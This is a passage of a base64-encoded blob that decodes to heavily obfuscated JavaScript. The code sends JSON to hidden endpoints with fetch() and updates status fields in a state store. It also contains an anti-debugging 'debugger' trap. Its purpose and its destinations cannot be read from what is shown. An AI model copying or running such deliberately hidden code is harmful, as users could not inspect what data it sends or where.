tvKCJdW0FGIiw1MDEsNjY5LDE1MDgsMTE1NCkrYygxNjc2LDE3MDcsOTg3LCJMSDVxIikrIm4iLEVqbkZHOmMoMjI0MCwyMjExLDI3NjUsIjNyejIiKSxWd21mSjpjKDE3MDcsMjE0MywyNjY4LCJkJG5vIiksYUxTenU6bygiZE4jZSIsMTU1Nyw5NjUsNzA4LDc4MCl9O2Z1bmN0aW9uIG8odCxlLG4scixvKXtyZXR1cm4gTXIodCwwLDAsMCxvLTEwMzcpfWZ1bmN0aW9uIGEodCxlLG4scixvKXtyZXR1cm4gSXIoMCwwLDAsby03MDMsZSl9ZnVuY3Rpb24gaSh0LGUsbixyLG8pe3JldHVybiBNcih0LDAsMCwwLG4tIC0yNTkpfWZ1bmN0aW9uIGModCxlLG4scixvKXtyZXR1cm4gS3IoMCxlLTk5OSwwLHIpfWZ1bmN0aW9uIHModCxlLG4scixvKXtyZXR1cm4gTXIobywwLDAsMCxuLTE2MjUpfXRoaXNbaSgiMHdBRSIsLTU0OCwtNTc4LC0xMzE1KSthKDE5NjYsIjJVbDMiLDEwMDYsMTEwNCwxNjQ4KStjKDI2MzAsMjMzNiwyMjIxLCJdW0FGIildPW5ldyBBYm9ydENvbnRyb2xsZXI7dHJ5e2lmKHJbYygwLDE3ODMsMCwiQil2byIpXShyW28oIig4YkoiLDAsMCwwLDE2MTUpXSxyW2EoMCwiZyF5QyIsMCwwLDkxKV0pKXtsZXQgZD1mdW5jdGlvbih0KXtmdW5jdGlvbiBlKHQsZSxuLHIsbyl7cmV0dXJuIHMoMCwwLG8tIC03NjgsMCxlKX1mdW5jdGlvbiBuKHQsZSxuLHIsbyl7cmV0dXJuIHMoMCwwLHItIC0zNzUsMCxuKX1mdW5jdGlvbiBpKHQsZSxuLHIsbyl7cmV0dXJuIHMoMCwwLHQtIC0zNTUsMCxyKX1mdW5jdGlvbiBjKHQsZSxuLHIsbyl7cmV0dXJuIGEoMCx0LDAsMCxuLTU0MSl9cmV0dXJuIHJbZSgwLCIoOGJKIiwwLDAsMTg1MyldKHJbZSgwLCIwd0FFIiwwLDAsNTEyKV0scltpKDIzNDYsMCwwLCIoOGJKIildKT9yW2MoIldBUlMiLDAsMTQyNSldKHRbaSgyMTc5LDAsMCwiTEg1cSIpXVtjKCJaTV5nIiwwLDE4ODUpXSx0W2UoMCwiQil2byIsMCwwLDE0NzgpK2UoMCwiNnl3WCIsMCwwLDUyOSkrbigwLDAsIkBNOEUiLDI1MDUpXT90W2UoMCwiT3oyRyIsMCwwLDE3NDYpK2MoIjZ1bygiLDAsMTIxMSkrZSgwLCJATThFIiwwLDAsMjExMildWzBdW24oMCwwLCJmKkBdIiwxMDIyKV1bbigwLDAsIkNYXUQiLDE5NzQpXTowKTp0aGlzW2koMTc2OSwwLDAsIjgycnQiKSsoZD0xNDcsdT0iNVZDdyIsbyh1LDAsMCwwLGQtIC0xMTE5KSldO3ZhciBkLHV9O2NvbnN0IHU9e307dVtzKDAsMCwxNTc3LDAsImQkbm8iKStvKCJ1dmxpIiwwLDAsMCw3OTkpXT10W2MoMCwxMTgzLDAsIipNeVMiKSsibGUiXVtjKDAsMTE4NiwwLCJmQHRSIikrYygwLDEyMzYsMCwiV0FSUyIpXSx1W2EoMCwiTEg1cSIsMCwwLDEzNDMpXT1lLHVbbygidXlPZCIsMCwwLDAsMTMzOCkrbygiMlVsMyIsMCwwLDAsMTg0MCldPXJbaSgiYXdabyIsMCwzODkpXTtjb25zdCBsPUpTT05bYygwLDFlMywwLCIhKiRxIikrYSgwLCI4MnJ0IiwwLDAsMjY1KV0odSksVz1hd2FpdCByW3MoMCwwLDI3MTQsMCwiQE04RSIpXShmZXRjaCxBcix7bWV0aG9kOnJbYygwLDIxMTMsMCwiYlhvQyIpXSxoZWFkZXJzOnsiY29udGVudC10eXBlIjpyW28oImh2QTQiLDAsMCwwLDIyNTgpXSxhY2NlcHQ6cltzKDAsMCwyNjU4LDAsIm5ONSEiKV19LGJvZHk6bH0pO2lmKCFXLm9rKXtpZihyW2EoMCwib2pCTyIsMCwwLDgyMyldKHJbbygiYXdabyIsMCwwLDAsMTU3MildLHJbbygiTEg1cSIsMCwwLDAsMjI5OCldKSl0aHJvdyBuZXcgRXJyb3IobygiYlhvQyIsMCwwLDAsMTczMSkrbygiNnl3WCIsMCwwLDAsMjE4MikrbygiYXdabyIsMCwwLDAsMTM5OSkrYSgwLCJnb0gwIiwwLDAsMTUyMCkrV1tvKCJEMTRjIiwwLDAsMCwxMzEwKSsicyJdKTtfMHgxNDYwMDZbYSgwLCJhd1pvIiwwLDAsNzk4KV0ocltjKDAsMTQwMSwwLCJDWF1EIildKSxfMHg1Y2Y3YmZbYygwLDE4MDAsMCwiODJydCIpKyJlIl0oKHQ9Pih7Li4udCxzdGF0dXM6YSgwLCJkJG5vIiwwLDAsNDIzKSxzdWJTdGF0dXM6aSgiM3J6MiIsMCwtMTE0KStpKCJ0QlhlIiwwLDU4MykrYygwLDE3NDcsMCwiYXZPJSIpK3MoMCwwLDE4OTUsMCwiISokcSIpLG1lc3NhZ2U6YSgwLCJ1eU9kIiwwLDAsNjc3KStvKCJiWG9DIiwwLDAsMCw5NDQpK2MoMCw5NjEsMCwiWlJ3QSIpK2MoMCwxMTMxLDAsImhKYTciKX0pKSl9Y29uc3QgZj1ScltpKCJmQHRSIiwwLC00MzgpK2MoMCwxNjI4LDAsIkNYXUQiKV0oYXdhaXQgV1thKDAsIiFENUYiLDAsMCwxNzkpXSgpW28oIkBNOEUiLDAsMCwwLDIwMzApXSgoKCk9Pnt9KSkpO2lmKCFmW2koIkIpdm8iLDAsMzAwKSsic3MiXSlyZXR1cm47Y29uc3QgaD17fTtoW2MoMCwxODM2LDAsImF2TyUiKV09bixoLmlkPWU7Y29uc3QgbT17c3RvcmU6aCwuLi5mW28oIipQdSoiLDAsMCwwLDEyMzIpXX07cmV0dXJuIHRoaXNbaSgiZkB0UiIsMCwtMzg0KStpKCJPejJHIiwwLDcwNyldW28oIiFENUYiLDAsMCwwLDEyOTcpXShtKSx0aGlzW2EoMCwiYlhvQyIsMCwwLDQ2MikrcygwLDAsMjM3NywwLCJDWF1EIildW2EoMCwiQE04RSIsMCwwLDQyNSldKCgodCxlKT0+e2Z1bmN0aW9uIG4odCxlLG4scixhKXtyZXR1cm4gbyhlLDAsMCwwLHItIC04MzQpfWZ1bmN0aW9uIGkodCxlLG4scixhKXtyZXR1cm4gbyhyLDAsMCwwLGUtIC0xMDUxKX1mdW5jdGlvbiBzKHQsZSxuLHIsbyl7cmV0dXJuIGEoMCxvLDAsMCxyLSAtNDU0KX1mdW5jdGlvbiB1KHQsZSxuLHIsbyl7cmV0dXJuIGEoMCxyLDAsMCxlLTI2Myl9aWYoIXJbcygwLDAsMCw3MDUsIkxINXEiKV0ocltzKDAsMCwwLDI1MSwiaHZBNCIpXSxyW3UoMCwxMjQyLDAsIkNYXUQiKV0pKXtjb25zdCBvPXJbaSgwLDk0NiwwLCJuTjUhIildKGQsdCksYT1yW24oMCwiMXhYZCIsMCw2MTkpXShkLGUpO3JldHVybiByWyhsPSJ1VEN6IixXPTEzOCxjKDAsVy0gLTExODgsMCxsKSldKG8sYSl9dmFyIGwsVztfMHg0OTM3NTg9RXJSYVl2W3UoMCw5ODQsMCwiYXdabyIpXShfMHgyOWY1YzgsRXJSYVl2W3UoMCw3MzYsMCwiQil2byIpXShFclJhWXZbaSgwLC0yNCwwLCIhKiRxIildKEVyUmFZdltuKDAsIlNUUlkiLDAsNDE3KV0sRXJSYVl2W3MoMCwwLDAsMjQ3LCJDWF1EIildKSwiKTsiKSkoKX0pKSxEcltpKCJaUndBIiwwLDcxNCldKHRoaXNbYSgwLCJuTjUhIiwwLDAsOTAxKStvKCJXXlRUIiwwLDAsMCwxMzEyKV0pLG19cmV0dXJuIHJbYSgwLCJoSmE3IiwwLDAsMTA0NyldKF8weDIwMzE4MVthKDAsIipNeVMiLDAsMCwxMjEpXVtvKCI1VkN3IiwwLDAsMCwxODc0KV0sXzB4NDJjYjk5W2EoMCwiaHZBNCIsMCwwLDg0NikrbygiZGFCXSIsMCwwLDAsMTQ0MykraSgib2pCTyIsMCwtMjM1KV0/XzB4MmRiMzY1W2koImJYb0MiLDAsNjAyKStzKDAsMCwxMzI0LDAsIjF4WGQiKStzKDAsMCwxMjY5LDAsIjNyejIiKV1bMF1bcygwLDAsMjM5MCwwLCJhdk8lIildW2EoMCwiZCRubyIsMCwwLDExODEpXTowKX1jYXRjaChkKXtpZighcltjKDAsMTM5MiwwLCJmYyZwIildKHJbcygwLDAsMTY5MywwLCJhd1pvIildLHJbaSgiTEg1cSIsMCw2NDQpXSkpcmV0dXJuO18weDZhZGExYVtvKCJhd1pvIiwwLDAsMCwxNTQ4KSsiZSJdKCh0PT4oey4uLnQsc3RhdHVzOmEoMCwidEJYZSIsMCwwLDEzNTApfSkpKSx0aGlzW2koImdvSDAiLDAsLTQxNikrbygiYlhvQyIsMCwwLDAsMTE2NCkrImUiXT1fMHg0MTI2MjdbaSgiMlVsMyIsMCw1MTcpK3MoMCwwLDE2NzAsMCwiV0FSUyIpXSgodD0+e2Z1bmN0aW9uIGUodCxlLG4scixvKXtyZXR1cm4gYSgwLG4sMCwwLG8tIC0xNDkpfXZhciBuLG8saSxzLGQsdTtyW2UoMCwwLCJhdk8lIiwwLDI1OSldKHRbZSgwLDAsIjgycnQiLDAsMTMwMCkrInMiXSxyWyhkPSJ1eU9kIix1PTE0ODgsYSgwLGQsMCwwLHUtMTI2KSldKSYmdGhpc1soaT0xNzI3LHM9Iig4YkoiLGMoMCxpLSAtNjY3LDAscykrKG49IipNeVMiLG89MTMzNCxhKDAsbiwwLDAsby00NTQpKSldKCl9KSl9fWFzeW5jW0lyKDAsMCwwLC0zOCwiaHZBNCIpK0lyKDAsMCwwLDQ4NiwiT3oyRyIpXSgpe2Z1bmN0aW9uIHQodCxlLG4scixvKXtyZXR1cm4gSXIoMCwwLDAsbi04NSx0KX1mdW5jdGlvbiBlKHQsZSxuLHIsbyl7cmV0dXJuIEtyKDAsbi0xMDU1LDAsbyl9ZnVuY3Rpb24gbih0LGUsbixyLG8pe3JldHVybiBJcigwLDAsMCx0LTEzMTMsbyl9Y29uc3Qgcj17bGt2ZHM6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdCE9PWV9LHpEWW9mOm8oMTE5MywiaHZBNCIsMTk0OSwxMzc0KSxkdHhVRDpmdW5jdGlvbih0LGUpe3JldHVybiB0PT09ZX0sVVNFQUU6ZnVuY3Rpb24odCxlLG4pe3JldHVybiB0KGUsbil9LHZyelJiOmEoNjg1LDM2Myw3NDIsMTQzLCI2dW8oIiksdVdVWmk6dCgiaHZBNCIsMCwyMDkpK2EoMTA1MiwxMzkxLDE2ODgsODA5LCJATThFIikrbygxMTQ1LCJiWG9DIiwxMDM2LDE4NzApKyJuIixJT0NwYzpuKDEzNjgsMCwwLDAsImF2TyUiKSxkeWNITDpmdW5jdGlvbih0LGUpe3JldHVybiB0IT09ZX0sV2REalo6bygxNDQ2LCJnb0gwIiwxMDQzLDg3NykscGp2cWo6YSgxOTY2LDE2MjYsODc4LDIzNjMsIldBUlMiKSxXY01ISDpvKDIwMywidEJYZSIsODMyLDk1NikrYSgxMjYzLDEwNzYsMTAwNiwxMTYzLCIhRDVGIikrbygxNDYsIiEqJHEiLDM3NSwtNTAxKStuKDgwNywwLDAsMCwiWlJ3QSIpfTtmdW5jdGlvbiBvKHQsZSxuLHIsbyl7cmV0dXJuICRyKDAsMCxlLDAsdC0gLTk5OCl9ZnVuY3Rpb24gYSh0LGUsbixyLG8pe3JldHVybiBNcihvLDAsMCwwLGUtNDQ4KX10cnl7aWYoclt0KCIoOGJKIiwwLDEwNjIpXShyW24oMTExNSwwLDAsMCwib2pCTyIpXSxyW3QoIjgycnQiLDAsODAyKV0pKXRocm93IG5ldyBfMHgyZjM5YjMoZSgwLDAsMjMwMiwwLCJPejJHIikrbygxMDIzLCIxeFhkIikrdCgiZE4jZSIsMCw1MzUpK2EoMCw5NjAsMCwwLCJuTjUhIikrXzB4M2U2NGY4W3QoImcheUMiLDAsLTE5NikrInMiXSk7e1ZyW24oMTUzNywwLDAsMCwiZyF5QyIpKyJlIl0oKHQ9Pih7Li4udCxzdGF0dXM6YSgwLDEzMDYsMCwwLCJPejJHIikrbygxMTU5LCJMQGdQIiksc3ViU3RhdHVzOm8oMTUwMiwiYlhvQyIpK2EoMCwxNjQzLDAsMCwiMHdBRSIpK24oOTA0LDAsMCwwLCJATThFIikrYSgwLDE1MzIsMCwwLCIqUHUqIikrImEifSkpKTtjb25zdCBpPXRoaXNbbyg0NDcsImRhQl0iKStlKDAsMCwxODAwLDAsImJYb0MiKV07aWYoclthKDAsODQ1LDAsMCwiT3oyRyIpXShpW3QoImQkbm8iLDAsODEzKSsiaCJdLDApKXJldHVybjtjb25zdCBjPUpTT05bbyg5MjQsIig4YkoiKStvKDM4MiwiNnl3WCIpXShpKSxzPWF3YWl0IHJbdCgiZmMmcCIsMCwtMTI2KV0oZmV0Y2gsWnIrKG8oOTI1LCIqUHUqIikrYSgwLDE1MzQsMCwwLCIqTXlTIikpK3RoaXNbbig3MDQsMCwwLDAsImZjJnAiKSsiZGUiXSsobigxMjU5LDAsMCwwLCIyVWwzIikrdCgiKk15UyIsMCw2MDUpKSt0aGlzW2UoMCwwLDI1NDQsMCwiISokcSIpKyJ5Il0se21ldGhvZDpyW24oMjI0MCwwLDAsMCwiZ29IMCIpXSxoZWFkZXJzOnsiY29udGVudC10eXBlIjpyW28oMTQ1NywiZCRubyIpXSxhY2NlcHQ6cltlKDAsMCwyNDY2LDAsIjB3QUUiKV19LGJvZHk6Y30pO2lmKCFzLm9rKXtpZihyW28oMTQyLCJdW0FGIildKHJbYSgwLDE0MTAsMCwwLCJmYyZwIildLHJbbigxNTI4LDAsMCwwLCJ1VEN6IildKSlyZXR1cm4gdm9pZCBfMHgzYWQ4NGRbbigxMzE0LDAsMCwwLCJ0QlhlIikrImUiXSgoZT0+KHsuLi5lLHN0YXR1czphKDAsMTYxOSwwLDAsIlNUUlkiKSxzdWJTdGF0dXM6YSgwLDE1MzYsMCwwLCJATThFIikrYSgwLDQxNCwwLDAsInVUQ3oiKStvKDEwNzgsIk5WQmUiKSxtZXNzYWdlOm8oNjAwLCJkTiNlIikrbygzOTEsIlNUUlkiKStvKDExMjUsIjVWQ3ciKSthKDAsNTA4LDAsMCwiZCRubyIpK3QoIjVWQ3ciLDAsNjc5KSt0KCIxQmNLIiwwLDcwOSkrImUifSkpKTt0aHJvdyBuZXcgRXJyb3IoYSgwLDEyNjksMCwwLCJoSmE3IikrbygxMjY4LCJnb0gwIikrYSgwLDE0OCwwLDAsIjF4WGQiKSt0KCJMQGdQIiwwLDkwNykrc1tuKDE1MTIsMCwwLDAsImZjJnAiKSsicyJdKX1hd2FpdCBzW24oMTgxNCwwLDAsMCwiXVtBRiIpXSgpO1ZyW24oMTQ3MiwwLDAsMCwiZGFCXSIpKyJlIl0oKHQ9Pih7Li4udCxzdGF0dXM6bygxMzQ3LCIoOGJKIikrZSgwLDAsMTMxMiwwLCIhRDVGIiksc3ViU3RhdHVzOmUoMCwwLDE4MjAsMCwiZCRubyIpK24oODg2LDAsMCwwLCJPejJHIikrYSgwLDEzOTcsMCwwLCJiWG9DIikrImQifSkpKX19Y2F0Y2h7aWYoIXJbYSgwLDE2OTEsMCwwLCJaUndBIildKHJbbigxNjYwLDAsMCwwLCIzcnoyIildLHJbbigxOTY0LDAsMCwwLCI4MnJ0IildKSlyZXR1cm4gdGhpc1tuKDk2MiwwLDAsMCwiYXZPJSIpK24oMjE1OSwwLDAsMCwiaHZBNCIpKyJzIl07VnJbYSgwLDk2MywwLDAsImcheUMiKSsiZSJdKChyPT4oey4uLnIsc3RhdHVzOm8oODAsIipQdSoiKSxzdWJTdGF0dXM6dCgiZmMmcCIsMCw1MzcpK28oOTE3LCIxeFhkIikrZSgwLDAsMjYwMSwwLCJNSzdLIikrYSgwLDgyOSwwLDAsIm9qQk8iKSxtZXNzYWdlOmUoMCwwLDE0ODcsMCwiZGFCXSIpK24oMTU1OCwwLDAsMCwiODJydCIpK3QoIkxINXEiLDAsNTg0KStlKDAsMCwyMjMzLDAsIiEqJHEiKX0pKSl9fWFzeW5jW0JyKCIyVWwzIiwwLDAsMCwxMTYwKV0odCl7cmV0dXJuIG5ldyBQcm9taXNlKChlPT5zZXRUaW1lb3V0KGUsdCkpKX19ZnVuY3Rpb24ganIodCl7ZnVuY3Rpb24gZSh0LGUsbixyLG8pe3JldHVybiAkcigwLDAsbywwLHQtIC00OTEpfWNvbnN0IG49e0Vkc2JBOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQhPT1lfSxxT05tbzpjKDE5MzUsMTQ2Nyw4MTgsIldBUlMiKSxMa3NyaDpmdW5jdGlvbih0LGUpe3JldHVybiB0K2V9LGh5d2pjOm8oMTI2NSw2MjMsMzkwLCJvakJPIiwxMTM3KSxFbHpmejpvKDIzMjcsMTQ1NSwyMDczLCJ0QlhlIiwxNjMwKSx4YkJUVDphKDEzMDIsMTQ5MCwiKDhiSiIsMTE1OCkrIm4iLHJoWHhROmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQ9PT1lfSxhUmp1eTplKDE3MjksMCwwLDAsIjgycnQiKSxVT2trbzplKDEwMzcsMCwwLDAsInV2bGkiKSxPWmthaDphKDQxOCw3MDMsIkQxNGMiLDEwOTApKyJnIix6REFkWDpmdW5jdGlvbih0LGUpe3JldHVybiB0IT09ZX0sYlNHSnc6bygyNTEsNzQzLDMyOSwiWlJ3QSIsNTk5KSxFekRFSzpjKDgxOSw5MjcsMTEyOCwiMlVsMyIpK28oMTc3MSwxNDk3LDEwNzYsInVUQ3oiLDE3MjIpK28oODc3LDIyNzAsMTE3NCwiY1FseSIsMTY3MCksSFhzTUI6YSg3MTksMTA5NCwiISokcSIsMTQ4NikrImVyIixYR0tXUTpmdW5jdGlvbih0LGUpe3JldHVybiB0IT09ZX0sanh0d0I6ZSgxNDY1LDAsMCwwLCJkJG5vIiksUVZCc0M6aSgiZE4jZSIsLTIyNywxMDExLDQ2NyksRmlvbXA6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdC9lfSx4SG1BWjpvKDIxNjgsMTE4MywxNzg1LCJMQGdQIiwxNDEzKSsiaCIsT2V4c1A6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdCVlfSxRZkdSYjpmdW5jdGlvbih0LGUpe3JldHVybiB0IT09ZX0sdU9OVnQ6bygxMDA3LDU3OCwxMTI4LCJ1VEN6Iiw4NjkpLFNIanh3Om8oNzM3LDE2NTQsMTM1MiwiMlVsMyIsOTE5KSxkeHFFTTpmdW5jdGlvbih0LGUpe3JldHVybiB0PT09ZX0sVm9oTUQ6aSgiaHZBNCIsMTAwNCw1NjYsMTM2MSksdUFxeWQ6byg5NjksODczLDE1NjMsIk96MkciLDEzNjMpLHJaaHV4OmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQrZX0sZWFkZno6ZSg1NjIsMCwwLDAsImh2QTQiKStjKDEyODQsOTE3LDEwMzEsIkBNOEUiKSsidCIsSnZZaW46ZnVuY3Rpb24odCxlKXtyZXR1cm4gdChlKX0sekxwTFE6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdD09PWV9LE5URmpFOmMoMTI3NSw3NDYsNDg0LCJDWF1EIiksakVpR3c6YSg4NzIsNjIzLCJvakJPIiw2OTQpLEVFYm9BOmMoNDU2LDc0NCwxNDUxLCI4MnJ0IiksaEJkYk46byg3MjMsNTkxLDExNDYsIkxAZ1AiLDg3NiksTEVnQXo6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdD09PWV9LGhvTHdLOm8oLTc1LDM5NCw0NDQsIig4YkoiLDQ4MykscGJxQlM6YygxNDc5LDE3ODUsMTQzMSwidEJYZSIpfTtmdW5jdGlvbiByKHQpe2Z1bmN0aW9uIGModCxuLHIsbyxhKXtyZXR1cm4gZShuLTIwNiwwLDAsMCxyKX1mdW5jdGlvbiBzKHQsZSxuLHIsbyl7cmV0dXJuIGkodCxlLTQ1NCxuLTM4OSxuLTE3Nil9ZnVuY3Rpb24gZCh0LGUsbixyLGEpe3JldHVybiBvKHQtMTkwLGUtMTA0LG4tNDc3LHQsYS05MDYpfWNvbnN0IHU9e0VwSWlROmZ1bmN0aW9uKHQsZSl7cmV0dXJuIG5bKHI9Mjc2MSxvPSJdW0FGIixRcihyLTkzMSxvKSldKHQsZSk7dmFyIHIsb30sYVpIQmM6bltsKDEzMzUsMjA3OSwyNDUyLDI3OTIsImF2TyUiKV0sQXVsWEE6bltkKCJTVFJZIiwxNDU0LDEzNjQsMCwxNjM4KV0sbE5qdE86bltXKCIqTXlTIiwyOTYsNTI2LDgzNSwxMDgxKV0sTmhCTFI6ZnVuY3Rpb24odCxlKXtyZXR1cm4gblsocj0iWk1eZyIsbz0yMTMwLGE9MTk2MyxsKHItMzY3LGEtNTIyLG8tMTQ5LGEtMjY3LHIpKV0odCxlKTt2YXIgcixvLGF9LFpYWVJ6Om5bbCg5ODYsNDYzLC0yODAsMTEzOSwiODJydCIpXX07ZnVuY3Rpb24gbCh0LGUsbixyLG8pe3JldHVybiBhKHQtMSxlLTM0OCxvLHItNDUwKX1mdW5jdGlvbiBXKHQsZSxuLHIsYSl7cmV0dXJuIG8odC05NixlLTU0LG4tNDk0LHQsYS0xOTQpfWlmKCFuW2woMTc1NiwxOTMzLDAsMTE2NiwidXZsaSIpXShuW1coIjZ5d1giLDk5OCwxODc0LDAsMTEwMSldLG5bYygwLDEzMzksIjB3QUUiKV0pKXtjb25zdCB0PV8weDQwYjQ4NFtkKCJ1VEN6IiwzMTkwLDE2OTUsMCwyNDA3KV0oXzB4NTEwZmE5LGFyZ3VtZW50cyk7cmV0dXJuIF8weDNlNjk0OD1udWxsLHR9aWYobltzKCJkJG5vIiw2NTcsNjM2KV0odHlwZW9mIHQsbltjKDAsMTc3MCwiaEphNyIpXSkpcmV0dXJuIW5bYygwLDEwMjYsIkxAZ1AiKV0obltjKDAsOTQzLCJMQGdQIildLG5bbCgyOTMsNjg4LDAsMywiZGFCXSIpXSkmJmZ1bmN0aW9uKHQpe31bYygwLDgwNiwiMUJjSyIpK2woMTIyMSwxMDIwLDAsMzM4LCJPejJHIikrInIiXShuW3MoIm5ONSEiLDEzMTMsMTE2MyldKVtXKCJXXlRUIiw4MjUsMTIyMywwLDEzNDApXShuW2QoIipQdSoiLDEzOTYsMTg1MCwwLDE3MTUpXSk7aWYobltsKDI3MDEsMTk1MCwwLDExODAsInV5T2QiKV0obltjKDAsMTc1NSwiZmMmcCIpXSxuW1coIm9qQk8iLDIyMTksMTMyOCwwLDE3NDEpXSkpe2lmKG5bcygidXZsaSIsLTUzMCwxNjkpXShuW1coImcheUMiLDFlMywxMzA3LDAsNzgyKV0oIiIsbltsKDExOTgsMTYzNCwwLDE1OTYsIk1LN0siKV0odCx0KSlbbltsKDE2NjEsMTc3MCwwLDE3MDcsImJYb0MiKV1dLDEpfHxuW2QoIjZ5d1giLDc0NCwxODc4LDAsMTQwNSldKG5bYygwLDIwMjUsImZjJnAiKV0odCwyMCksMCkpbltjKDAsNzkyLCIxQmNLIildKG5bbCgxMjI2LDg0MiwwLDEzNjgsIkxAZ1AiKV0sbltjKDAsMTgxNywiYXZPJSIpXSk/ZnVuY3Rpb24oKXtmdW5jdGlvbiB0KHQsZSxuLHIsbyl7cmV0dXJuIGQocixlLTIyNSxuLTExOSwwLGUtIC05OTcpfWZ1bmN0aW9uIGUodCxlLG4scixvKXtyZXR1cm4gYygwLGUtNDMyLG4pfWZ1bmN0aW9uIG4odCxlLG4scixvKXtyZXR1cm4gVyhvLGUtNDIsbi0yMTIsMCxlLSAtNjY2KX1pZih1W2UoMCwyMzI3LCJATThFIildKHVbZSgwLDE0NjcsIjZ1bygiKV0sdVtuKDAsLTI2NywtMTM4LDAsIkxAZ1AiKV0pKXJldHVybiEwO3ZhciByLG8sYSxpOyhmdW5jdGlvbigpe3JldHVybiEwfSlbdCgwLDkwMywxNjA2LCJuTjUhIikrZSgwLDIwMjYsIipNeVMiKSsiciJdKHVbKHI9MTY1MCxvPTE0MzQsYT0xNzk4LGk9Ik1LN0siLFcoaSxyLTE1OSxvLTI3NiwwLGEtODgzKSldKHVbbigwLDMzNiwtMjQsMCwiQE04RSIpXSx1W3QoMCwxNDY1LDE4ODMsIiEqJHEiKV0pKVt0KDAsNzczLDYxMSwiTEBnUCIpXSh1W3QoMCwxNDk1LDEzODMsImYqQF0iKV0pfVtkKCI1VkN3IiwyNjU1LDIxMTUsMCwxODYxKStkKCJhdk8lIiwyMzQzLDIxOTgsMCwxNTQ4KSsiciJdKG5bYygwLDY5OCwiRDE0YyIpXShuW2QoIjJVbDMiLDE3NTAsMjMyNSwwLDIwOTIpXSxuW2QoIm5ONSEiLDEyNzQsMjMxNSwwLDE3ODgpXSkpW2woMjU1NiwxODI5LDAsMjAwNCwiNnVvKCIpXShuW2MoMCwxOTI2LCJMQGdQIildKTp0aGlzW2MoMCwxOTU5LCJEMTRjIikrInkiXT1fMHgxNmJhNzY7ZWxzZSBpZihuW2MoMCwyMDc4LCJkYUJdIildKG5bcygiZmMmcCIsMTcwNiwxMDcyKV0sbltzKCIhRDVGIiwxMTkwLDYwMSldKSl7aWYoXzB4NTc4M2Q1KXtjb25zdCB0PV8weDRkNzdmMVtkKCJodkE0IiwxNDQ3LDI1NDYsMCwxNzgwKV0oXzB4NWI3ZmZiLGFyZ3VtZW50cyk7cmV0dXJuIF8weDNjZmJhYz1udWxsLHR9fWVsc2UoZnVuY3Rpb24oKXtmdW5jdGlvbiB0KHQsZSxuLHIsbyl7cmV0dXJuIFcobixlLTYsbi0zNzYsMCxyLSAtNjUyKX1yZXR1cm4gblt0KDAsMTM1LCJTVFJZIiw0MzQpXShuWyhlPSIhRDVGIixyPTE1MTUsbz01OTgsYT0xMTA0LGQoZSxyLTQ3MixvLTQ4OSwwLGEtIC03NzUpKV0sblt0KDAsMTMzMCwiWlJ3QSIsMTIxNyldKSwhMTt2YXIgZSxyLG8sYX0pW2woMjgxMCwyMDc0LDAsMTc3OSwiMlVsMyIpK2QoIlpNXmciLDI4NzEsMTUzNCwwLDIwNzApKyJyIl0obltsKDE3MzcsMTU1OSwwLDIwNTksIiEqJHEiKV0obltXKCJDWF1EIiw4MTEsMTYxNywwLDEzOTMpXSxuW2woOTk5LDEwMTUsMCwxMTU0LCJTVFJZIildKSlbYygwLDE1NDIsIk5WQmUiKV0obltzKCI4MnJ0IiwxNDIyLDEwNTcpXSk7bltjKDAsMTI4NCwiYXZPJSIpXShyLCsrdCl9ZWxzZSBfMHgxY2RlMTdbZCgiTEg1cSIsMjc5NiwxODgzLDAsMjYwNCldKGMoMCwxMTczLCJ1dmxpIikrZCgiQE04RSIsMTkxMywxODg2LDAsMTIwOCkrVygiWk1eZyIsMTYyNSw1NjMsMCwxMDYwKStzKCJEMTRjIiwxMjg0LDY4NykrZCgidXZsaSIsMjIwMiwxMDI5LDAsMTQ4NCkrVygiZipAXSIsMTQxNiw5ODUsMCwxMjA3KStjKDAsMjEzNywiQE04RSIpK2QoImdvSDAiLDU0MCw4NDgsMCwxMjUwKStsKDYxLDYwNSwwLDQ3OSwiYXZPJSIpKyJkICIrXzB4NDM2MzE3KyI6IixfMHgzZTk5ZjgpfWZ1bmN0aW9uIG8odCxlLG4scixvKXtyZXR1cm4gJHIoMCwwLHIsMCxvLSAtNzE0KX1mdW5jdGlvbiBhKHQsZSxuLHIsbyl7cmV0dXJuIEJyKG4sMCwwLDAsZS0gLTg3NSl9ZnVuY3Rpb24gaSh0LGUsbixyLG8pe3JldHVybiBCcih0LDAsMCwwLHItIC0xMTYyKX1mdW5jdGlvbiBjKHQsZSxuLHIsbyl7cmV0dXJuICRyKDAsMCxyLDAsZS0gLTU0MCl9dHJ5e2lmKG5bZSgxNjkyLDAsMCwwLCIxeFhkIildKG5bZSgxNzQ3LDAsMCwwLCJDWF1EIildLG5bYSgwLDE5OSwiZE4jZSIpXSkpcmV0dXJuIHZvaWQgXzB4M2YyYTA3W2UoNzk5LDAsMCwwLCJhdk8lIikrImUiXSgodD0+KHsuLi50LHN0YXR1czplKDEwNzEsMCwwLDAsIjgycnQiKSxzdWJTdGF0dXM6bygwLDAsMCwiV15UVCIsNDcxKSthKDAsNjkyLCJkYUJdIikrYSgwLDQxNywiKk15UyIpLG1lc3NhZ2U6aSgidXZsaSIsMCwwLDY2NCkrbygwLDAsMCwiYlhvQyIsNzYwKSthKDAsMTYzNywidXZsaSIpK2koIipQdSoiLDAsMCw3NjUpK2UoOTkzLDAsMCwwLCJiWG9DIikrbygwLDAsMCwiZipAXSIsNzU4KStpKCJjKDRXIiwwLDAsMTY2KX0pKSk7aWYodCl7aWYobltjKDAsMTgwMiwwLCI4MnJ0IildKG5bYygwLDU5NSwwLCJXQVJTIildLG5bbygwLDAsMCwiYXZPJSIsODM5KV0pKXJldHVybiByO3RoaXNbaSgiMlVsMyIsMCwwLDUxKStpKCIqUHUqIiwwLDAsNjUxKV0oKX1lbHNle2lmKG5bZSgxMzQ5LDAsMCwwLCIyVWwzIildKG5bYSgwLDEzNjEsImNRbHkiKV0sbltlKDQ4MywwLDAsMCwiT3oyRyIpXSkpcmV0dXJuITE7blthKDAsNzkwLCJhdk8lIildKHIsMCl9fWNhdGNoKHMpe319ZnVuY3Rpb24gVXIodCl7cmV0dXJue2M6VyxtOlcsZDpXfX1mdW5jdGlvbiBYcih0KXtsZXQgZSxuLHI7cmV0dXJue2MoKXtlPUYoInN2Z